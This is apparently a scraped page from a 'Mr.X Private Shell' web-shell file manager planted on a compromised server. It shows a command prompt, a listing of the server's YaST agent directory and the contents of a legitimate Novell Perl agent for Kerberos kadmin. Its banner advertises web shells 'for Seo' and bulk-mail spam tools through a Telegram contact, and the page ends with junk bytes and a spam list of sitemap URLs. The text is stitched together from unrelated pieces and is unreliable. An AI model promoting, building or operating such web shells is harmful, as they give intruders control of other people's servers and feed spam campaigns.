xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
© xNightR00T
����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

ftpuser@216.73.216.168: ~ $ 
#! /usr/bin/perl -w

###############################################################
# Copyright 2007, Novell, Inc.  All rights reserved.
#
# $Id: $
###############################################################

package ag_kadmin;
#use lib qw(/usr/lib/YaST2/servers_non_y2);
use strict;
use YaST::SCRAgent;
use YaST::YCP qw(:LOGGING Boolean);
#use ycp;
our @ISA = ("YaST::SCRAgent");

use IPC::Open3;
use Data::Dumper;

my $local = undef;
my $kadmin_cmd = "/usr/lib/mit/sbin/kadmin";
my $kadmin_cmd_local = "/usr/lib/mit/sbin/kadmin.local";
my @kadmin_args = ();
my $adminpw = undef;

sub OtherCommand 
{
    my $class = shift;
    my ($symbol, $config, @rest) = @_;
    
    y2debug ("OtherCommand $symbol");
    
    if ($symbol ne "INIT") 
    {
        return $class->SetError(summary=> "The first command must be the configuration.(Seen '$_')",
                                code => "SCR_INIT_ERR");
    }
    
    return 1;
}

sub Execute
{
    my $class    = shift || return undef;
    my $path     = shift || return $class->SetError(summary => "Missing 'path'",
                                                    code => "PARAM_CHECK_FAILED");
    my $args     = shift || undef;
    my $ret      = undef;
    
    if($path eq ".initialized")
    {
        y2milestone("Call initialized");
        if(! defined $adminpw || ! defined $local)
        {
            return 0;
        }
        else
        {
            return 1;
        }
    }
    
    if(!defined $args)
    {
        return $class->SetError(summary => "Missing 'args'",
                                code => "PARAM_CHECK_FAILED");
    }
    
    y2debug("Execute '$path' with args: ".Data::Dumper->Dump([$args]));
    
    if($path eq ".init")
    {
        y2milestone("Call init");
        return init($class, $args);
    }

    if(! defined $adminpw || ! defined $local)
    {
        return $class->SetError(summary => "Agent not initialized",
                                description => "Please call 'init' first.",
                                code => "PARAM_CHECK_FAILED");
    }    

    if($path eq ".add_principal")
    {
        y2milestone("Call add_principal");
        $ret = add_principal($class, $args);
    }
    elsif($path eq ".delete_principal")
    {
        y2milestone("Call delete_principal");
        $ret = delete_principal($class, $args);
    }
    elsif($path eq ".modify_principal")
    {
        y2milestone("Call modify_principal");
        $ret = modify_principal($class, $args);
    }
    elsif($path eq ".change_password")
    {
        y2milestone("Call change_password");
        $ret = change_password($class, $args);
    }
    elsif($path eq ".get_principal")
    {
        y2milestone("Call get_principal");
        $ret = get_principal($class, $args);
    }
    elsif($path eq ".list_principals")
    {
        y2milestone("Call list_principals");
        $ret = list_principals($class, $args);
    }
    elsif($path eq ".add_policy")
    {
        y2milestone("Call add_policy");
        $ret = add_policy($class, $args);
    }
    elsif($path eq ".delete_policy")
    {
        y2milestone("Call delete_policy");
        $ret = delete_policy($class, $args);
    }
    elsif($path eq ".modify_policy")
    {
        y2milestone("Call modify_policy");
        $ret = modify_policy($class, $args);
    }
    elsif($path eq ".get_policy")
    {
        y2milestone("Call get_policy");
        $ret = get_policy($class, $args);
    }
    elsif($path eq ".list_policies")
    {
        y2milestone("Call list_policies");
        $ret = list_policies($class, $args);
    }
    elsif($path eq ".ktadd")
    {
        y2milestone("Call ktadd");
        $ret = ktadd($class, $args);
    }
    elsif($path eq ".ktremove")
    {
        y2milestone("Call ktremove");
        $ret = ktremove($class, $args);
    }
    else
    {
        return $class->SetError(summary => "Wrong path '$path' ",
                                code => "SCR_WRONG_PATH");
    }
    
    return $ret;
}

sub init
{
    my $class    = shift;
    my $args     = shift;

    return check_store_preargs($class, $args);
}

sub check_store_preargs
{
    my $class = shift;
    my $args = shift;

    if(exists  $args->{enctype} &&
       defined $args->{enctype} &&
       $args->{enctype} =~ /^[a-zA-Z0-9.-_: ]+$/)
    {
        push @kadmin_args, "-e", $args->{enctype};
    }

    if(exists  $args->{local} &&
       defined $args->{local} &&
       $args->{local} ne ""   &&
       -x $kadmin_cmd_local)
    {
        $local = 1;
        # no more options required
        return 1;
    }
    elsif(-x $kadmin_cmd)
    {
        $local = 0;
    }
    else
    {
        return $class->SetError(summary => "'kadmin' command not found",
                                code => "PARAM_CHECK_FAILED");
    }
    
    if(exists  $args->{realm} &&
       defined $args->{realm} &&
       $args->{realm} =~ /^[a-zA-Z0-9.-_]+$/)
    {
        push @kadmin_args, "-r", $args->{realm};
    }

    if(exists  $args->{admin_server} &&
       defined $args->{admin_server} &&
       $args->{admin_server} =~ /^[a-zA-Z0-9.-_:]+$/)
    {
        push @kadmin_args, "-s", $args->{admin_server};
    }

    if(exists  $args->{princ} &&
       defined $args->{princ} &&
       $args->{princ} =~ /^[a-zA-Z0-9.-_@]+$/)
    {
        push @kadmin_args, "-p", $args->{princ};
    }

    if(exists  $args->{adminpw} &&
       defined $args->{adminpw} &&
       $args->{adminpw} ne "")
    {
        $adminpw = $args->{adminpw};
    }
    
    return 1;
}

sub add_principal
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "add_principal", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub delete_principal
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "delete_principal", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub modify_principal
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "modify_principal", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub change_password
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "change_password", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub get_principal
{
    my $class    = shift;
    my $args     = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }

    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "get_principal", $cmd_args, $cmd_input, 2);

    if($args->{cmd_args}->[0] eq "-terse")
    {
        my $princ = {};
        
        my @p = split('\t', $ret);

        $princ->{princ} = $p[0];
        $princ->{princ_expire_time} = $p[1];
        $princ->{last_pwd_change} = $p[2];
        $princ->{pw_expiration} = $p[3];
        $princ->{max_life} = $p[4];
        $princ->{mod_princ} = $p[5];
        $princ->{mod_date} = $p[6];
        $princ->{attributes} = $p[7];
        $princ->{kvno} = $p[8];
        $princ->{mkvno} = $p[9];
        $princ->{policy} = $p[10];
        $princ->{max_renewable_life} = $p[11];
        $princ->{last_success} = $p[12];
        $princ->{last_failed} = $p[13];
        $princ->{fail_auth_count} = $p[14];
        $princ->{n_key_data} = $p[15];
        for(my $i = 0; $i < $p[15]; $i++)
        {
            $princ->{"key_data_ver_$i"} = $p[15+($i*4)+1];
            $princ->{"key_data_kvno_$i"} = $p[15+($i*4)+2];
            $princ->{"key_data_enctype_$i"} = $p[15+($i*4)+3];
            $princ->{"key_data_salt_$i"} = $p[15+($i*4)+4];
        }

        return $princ;
        
    }
    
    return $ret;
}

sub list_principals
{
    my $class    = shift;
    my $args     = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }

    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "list_principals", $cmd_args, $cmd_input, 2);
    my @list = split('\n', $ret);
    return \@list;
}

sub add_policy
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "add_policy", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub delete_policy
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "delete_policy", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub modify_policy
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "modify_policy", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub get_policy
{
    my $class    = shift;
    my $args     = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }

    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "get_policy", $cmd_args, $cmd_input, 2);

    if($args->{cmd_args}->[0] eq "-terse")
    {
        my $pol = {};
        
        my @p = split('\t', $ret);

        $pol->{policy} = $p[0];
        $pol->{pw_max_life} = $p[1];
        $pol->{pw_min_life} = $p[2];
        $pol->{pw_min_length} = $p[3];
        $pol->{pw_min_classes} = $p[4];
        $pol->{pw_history_num} = $p[5];
        $pol->{policy_refcnt} = $p[6];

        return $pol;
    }
    
    return $ret;
}

sub list_policies
{
    my $class    = shift;
    my $args     = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }

    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "list_policies", $cmd_args, $cmd_input, 2);
    my @list = split('\n', $ret);
    return \@list;
}

sub ktadd
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "ktadd", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}

sub ktremove
{
    my $class = shift;
    my $args  = shift;
    
    my $cmd_args = undef;
    my $cmd_input = undef;
    
    if(exists $args->{cmd_args} && 
       ref($args->{cmd_args}) eq "ARRAY")
    {
        $cmd_args = $args->{cmd_args};
    }
    
    if(exists $args->{cmd_input} && 
       ref($args->{cmd_input}) eq "ARRAY")
    {
        $cmd_input = $args->{cmd_input};
    }
    
    my $ret = call_kadmin($class, "ktremove", $cmd_args, $cmd_input, 2);
    return 1 if(defined $ret);
    return undef;
}


sub call_kadmin
{
    my $class      = shift || undef;
    my $subcommand = shift || return $class->SetError(summary => "Missing 'subcommand'",
                                                      code => "PARAM_CHECK_FAILED");
    my $cmd_args   = shift || undef;
    my $cmd_input  = shift || undef;
    my $skiplines  = shift || 0;
    

    my @cmdArgs = @kadmin_args;
    my @subCmdArgs = ();
    my $command = undef;
    if($local)
    {
        $command = $kadmin_cmd_local;
    }
    else
    {
        $command = $kadmin_cmd;
    }
   

    push @cmdArgs, "-q";
    push @subCmdArgs, "$subcommand";
    
    foreach my $arg (@{$cmd_args})
    {
        if($arg =~ /\s/)
        {
            push @subCmdArgs, "\"$arg\"";
        }
        else
        {
            push @subCmdArgs, "$arg";
        }
    }

    y2milestone("command: $command ". join(" ", @cmdArgs)." \"".join(" ", @subCmdArgs)."\"");
    push @cmdArgs, join(" ", @subCmdArgs);
    
    
    my $pid = open3(\*IN, \*OUT, \*ERR, "$command", @cmdArgs)
    or do {
        return $class->SetError(summary     => "Can not execute $command .",
                                description => "$!",
                                code        => "SCR_EXECUTE_FAILED");
    };

    if(!$local)
    {
        print IN "$adminpw\n";      # LDAP Administrator Password
    }
    
    if(defined $cmd_input && ref($cmd_input) eq "ARRAY")
    {
        foreach my $in (@{$cmd_input})
        {
            print IN "$in\n";
        }
    }
    
    my $out = "";
    my $err = "";
    close IN;
    my $i = 0;
    while (<OUT>)
    {
        $i++;
        if($i > $skiplines)
        {
            $out .= "$_";
        }
    }
    while (<ERR>)
    {
        if($_ =~ /^Couldn't open log file/)
        {
            y2milestone("kadmin: $_");
            next;
        }
        
        if($_ =~ /^WARNING/)
        {
            y2milestone("kadmin: $_");
            next;
        }
        $err .= "$_";
    }
    close OUT;
    close ERR;
    waitpid $pid, 0;
    chomp($out) if(defined $out && $out ne "");
    if(defined $out && $out ne "")
    {
        chomp($out);
        y2milestone("kadmin STDOUT: $out");
    }
    chomp($err);
    if($err ne "")
    {
        y2error("Error during kadmin call: $err");
    }
    # exit code is always 0 when the kadmin command itself could be executed
    my $code = ($?>>8);
    if($code != 0)
    {
        return $class->SetError(summary     => "Error during kadmin call",
                                description => "$err",
                                code        => "SCR_EXECUTE_FAILED");
    }
    if($err ne "")
    {
        return $class->SetError(summary     => "Error during kadmin call",
                                description => "$err",
                                code        => "SCR_EXECUTE_FAILED");
    }
    
    return $out;
}


package main;
ag_kadmin->Run;

=head1 NAME

ag_kadmin

=head1 PREFACE

This agent is an interface to kadmin

=head1 FUNCTIONS

=over 2

=item *
B<.init($args)>

You have to call this function before you call any other function.
$args is a hash which supports the following keys:


B<enctype> - specify the encryption types to use

B<local> - 1 to use kadmin.local; 0 to use kadmin (remote)
 
B<realm> - specify the REALM to use

B<admin_server> - use the specified admin server <hostname>:<port>

B<princ> - authenticate with the specified principal

B<adminpw> - administrator password


=item *
B<.initialized>

return true, is the agent is initialized, otherwise false.


=item *
B<.add_principal($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the add_principal command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.delete_principal($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the delete_principal command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.modify_principal($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the modify_principal command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.change_password($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the change_password command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.get_principal($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the get_principal command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

When the -terse option is given, this function returns a hash with the following keys:

B<princ>

B<princ_expire_time>

B<last_pwd_change>

B<pw_expiration>

B<max_life>

B<mod_princ>

B<mod_date>

B<attributes>

B<kvno>

B<mkvno>

B<policy>

B<max_renewable_life>

B<last_success>

B<last_failed>

B<fail_auth_count>

B<n_key_data>

For every key additional data exists. These key_data fields are enumerated. 

B<key_data_ver_$i>

B<key_data_kvno_$i>

B<key_data_enctype_$i>

B<key_data_salt_$i>

Example:

The first key has the fields:

  key_data_ver_0
  key_data_kvno_0
  key_data_enctype_0
  key_data_slat_0

The second key has the fields:

  key_data_ver_1
  key_data_kvno_1
  key_data_enctype_1
  key_data_slat_1


=item *
B<.list_principals($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the list_principals command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

This function returns an array of strings.

=item *
B<.add_policy($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the add_policy command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.delete_policy($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the delete_policy command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.modify_policy($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the modify_policy command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

=item *
B<.get_policy($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the get_policy command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

When the -terse option is given, this function returns a hash with the following keys:

B<policy>

B<pw_max_life>

B<pw_min_life>

B<pw_min_length>

B<pw_min_classes>

B<pw_history_num>

B<policy_refcnt>


=item *
B<.list_policies($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the list_policies command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords

This function returns an array of strings.

=item *
B<.ktadd($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the ktadd command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords


=item *
B<.ktremove($args)>

$args is a hash which supports the following keys:

B<cmd_args> - array with arguments for the ktremove command. See kadmin manpage for details.

B<cmd_input> - array of strings to print to STDIN, e.g. passwords






=cut

1;

Filemanager

DIR : / usr/ lib/ YaST2/ servers_non_y2/
Name Type Size Permission Actions
MasterCFParser.pm File 10.55 KB 0755
ag_anyxml File 3.21 KB 0755
ag_background File 8.56 KB 0755
ag_content File 738 B 0755
ag_convert_named_conf File 1.65 KB 0755
ag_cron File 2.5 KB 0755
ag_dhcpd_conf File 6.28 KB 0755
ag_dns_zone File 8.84 KB 0755
ag_etc_sudoers File 5.37 KB 0755
ag_exports File 4.7 KB 0755
ag_fetchmailrc File 8.09 KB 0755
ag_freespace File 1.48 KB 0755
ag_hostnames File 4.68 KB 0755
ag_http_server File 13.31 KB 0755
ag_initscripts File 9.19 KB 0755
ag_kadmin File 21.21 KB 0755
ag_kerberos File 12.27 KB 0755
ag_ksimport File 7.22 KB 0755
ag_mail_ldaptable File 1.79 KB 0755
ag_mailconfig File 6.42 KB 0755
ag_mailtable File 5.88 KB 0755
ag_modinfo File 2.09 KB 0755
ag_named_forwarders File 1.68 KB 0755
ag_netd File 17.24 KB 0755
ag_nis File 6.3 KB 0755
ag_pam_mount File 5.83 KB 0755
ag_passwd File 21.11 KB 0755
ag_ping File 1.58 KB 0755
ag_showexports File 2.49 KB 0755
ag_smtp_auth File 5.6 KB 0755
ag_tty File 3.75 KB 0755
ag_udev_persistent File 3.61 KB 0755
ag_uid File 1.39 KB 0755
ag_yp_conf File 7.56 KB 0755
ag_yp_makefile File 4.38 KB 0755
ag_zypp_repos File 1.55 KB 0755
setup_dkim_verifying.pl File 5.15 KB 0755

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Σ(ﾟДﾟ；≡；ﾟдﾟ)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml